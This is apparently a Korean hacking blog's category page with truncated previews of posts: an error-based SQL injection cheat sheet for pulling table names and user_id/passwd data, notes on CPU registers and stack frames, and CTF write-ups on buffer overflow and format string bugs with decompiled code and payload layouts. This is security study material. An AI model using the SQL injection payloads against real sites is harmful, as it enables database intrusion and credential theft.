해킹

해킹/웹해킹

[소전] 모의해킹

[ Error Based SQL Injection] 1. DB 이름 ' and db_name() > 1 -- - ' and db_name() > '1' -- - 2. Table 이름 ' having 1=1 -- - => 테이블 이름 : members => 첫번째 컬럼 이름 : num 3. 컬럼 이름 ' group by (num) -- - => 두번째 컬럼 이름 : user_id ' group by num,user_id -- - => 세번째 컬럼 이름 : passwd 4. 데이터 추출 ' or 1 in (select user_id from members) -- - ' or 1 in (select user_id from members where user_id not in ('제외할 추출값')) -- ' or..

해킹/리버싱

[해킹] 전용 레지스터

전용레지스터 Accumulaotr(누산기 AC) - 데이터를 일시 정장하는 레지스터이다. 기억장치로부터의 읽어온 데이터와 누산기에 적재되어 있던 데이터가 지정된 연산을 수행한 후 그 결과 값을 다시 누산기에 적재한다. 누산기 내용을 넌부 지워 0으로 만들 수 있으며, 왼쪽이나 오른쪽으로 몇 자리씩 움직일 수도 있다. 누산기의 비트 수는 CPU가 한 번에 처리할 수 있는 데이터 비트 수의 word의 길이와 같다. 데이터 일시저장, AC := AC의 현재값 + 메모리로부터 읽어온 값 Program Counter(프로그램 카운터 PC) : address of next instruction to execute. - 다음에 수행될 명령어의 주소를 가지고 있는 레지스터. PC 값은 word의 크기에 따라 1 또는 ..

해킹/리버싱

[리버싱] 스택프레임이란..?

스택 프레임(Stack Frame)이란? What's the stack frame? 스택 프레임(Stack Frame)이란 함수가 호출될 때, 그 함수만의 스택 영역을 구분하기 위하여 생기는 영역이다. 이 공간에는 함수와 관계되는 지역 변수, 매개변수가 저장되며, 함수 호출 시 할당되며 함수가 종료되면 소멸한다. 함수가 호출되면 스택에는 함수의 매개변수, 호출이 끝난 뒤 돌아갈 반환 주소값, 함수에서 선언된 지역변수 등이 저장됩니다. 이렇게 스택영역에 차례대로 저장되는 함수의 호출 정보를 스택프레임(Stack Frame)이라고 합니다. 이러한 스택 프레임 덕분에 함수의 호출이 모두 끝난 뒤에, 해당 함수가 호출되기 이전 상태로 되돌아갈 수 있습니다. 1. 함수 프롤로그(Prolog) push rbp, m..

해킹/시스템해킹

[시스템해킹] HackCTF < Basic_FSB >

https://ctf.j0n9hyun.xyz/challenges#Basic_FSB CODE int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); vuln(); return 0; } int vuln() { char s[1024]; // [esp+0h] [ebp-808h] BYREF char format[1032]; // [esp+400h] [ebp-408h] BYREF printf("input : "); fgets(s, 1024, stdin); snprintf(format, 0x400u, s); return printf(format); } int flag() { puts("EN)you have ..

해킹/시스템해킹

[시스템해킹] FSB(Format String Bug) 이란?

FSB(Format String Bug) FSB(Format String Bug)란 버퍼 오버플로우 해킹 기법중 하나이며 사용자의 입력을 통해 프로그램의 흐름을 바꿀 수 있는 취약점이다. FSB(Format String Bug) printf의 인자 개수는 포맷 문자 개수로 결정됩니다. buf의 값에 우리가 마음대로 입력이 가능하다면 우리가 원하는 포맷문자를 넣어서 조작이 가능해집니다. BOF가 발생하지 않아도 원하는 값을 얻을 수 있습니다. 오른쪽으로 상황에서는 FSB취약점이 발생하여 main 함수 스택의 내용을 모두 노출 시킬 수 있습니다. %p 출력 %p를 통해 다음 주소를 유출 시킬수 있으며 %[숫자]$p를 통해 숫자만큼 떨어져 있는 메모리를 출력 가능하다. 위와 같이 입력하게 되면 다음 스택의 메..

해킹/시스템해킹

[시스템해킹] HackCTF < Basic_BOF #1 >

https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2 CODE int __cdecl main(int argc, const char **argv, const char **envp) { char s[128]; // [esp+Ch] [ebp-8Ch] BYREF int (*v5)(); // [esp+8Ch] [ebp-Ch] v5 = sup; fgets(s, 133, stdin); v5(); return 0; } int shell() { return system("/bin/dash"); } shell함수를 실행시키면 되는 문제 같습니다. fgets에서 BOF가 터집니다. 코드는 dummy[128] + shell 이면 해결될 것 같습니다. 왜 리턴까지 안덮냐고 궁금하실 수 있는..

해킹/시스템해킹

[시스템해킹] GrabCON Pwn CTF? write up

GrabCON CTF 마지막 문제입니다. CODE 아이다로 키면 메인이 존재하지 않습니다. start부터 찾아 나갑니다. void __usercall __noreturn start(int a1@, void (*a2)(void)@) { int v2; // esi int v3; // [esp-4h] [ebp-4h] BYREF char *retaddr; // [esp+0h] [ebp+0h] BYREF v2 = v3; v3 = a1; __libc_start_main(sub_1357, v2, &retaddr, sub_13B0, sub_1420, a2, &v3); __halt(); } int __cdecl sub_1357(int a1) { setvbuf(stdout, &dword_0 + 2, 0, 0); sub_1..

해킹/시스템해킹

[시스템해킹] GrabCON can you? write up

GrabCON CTF 그다음 문제~! 문제 파일 이름은 cancancan이었습니다. CODE int __cdecl main(int argc, const char **argv, const char **envp) { init(&argc); puts("can you bypass me???"); vuln(); return 0; } unsigned int vuln() { int i; // [esp+4h] [ebp-74h] char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v3; // [esp+6Ch] [ebp-Ch] v3 = __readgsdword(0x14u); for ( i = 0; i

해킹/시스템해킹

[시스템해킹] GrabCON easy_bin write up

GrabCON CTF 이번 GrabCON에 참가하며 pwnable만 살짝 풀고 나왔다. 총 4문제가 있었는데 3문제밖에 못 풀어서 매우 슬프다 ㅠ CODE int __cdecl main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF gets(v4, argv, envp); printf("well lets check if you can bypass me!!!"); return 0; } __int64 vuln() { execve("/bin/sh", 0LL, 0LL); return 0LL; } 너무나도 간단한 BOF문제인것 같습니다. 파일은 64BIT로 페이로드는 dummy[48] + sfp[8]..

해킹/시스템해킹

[시스템해킹] Buffer Overflow(BOF)

BUFFER OVERFLOW BOF 설정되어 있는 버퍼의 크기보다 크게 입력을 받을 수 있을 때 생기는 취약점입니다. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] [ebp-34h] BYREF int v5; // [esp+2Ch] [ebp-Ch] v5 = 0x4030201; fgets(s, 45, stdin); printf("\n[buf]: %s\n", s); printf("[check] %p\n", v5); if ( v5 != 0x4030201 && v5 != 0xDEADBEEF ) puts("\nYou are on the right way!"); if ( v5 == 0xDEADBEEF ..

나봄하랑
'해킹' 카테고리의 글 목록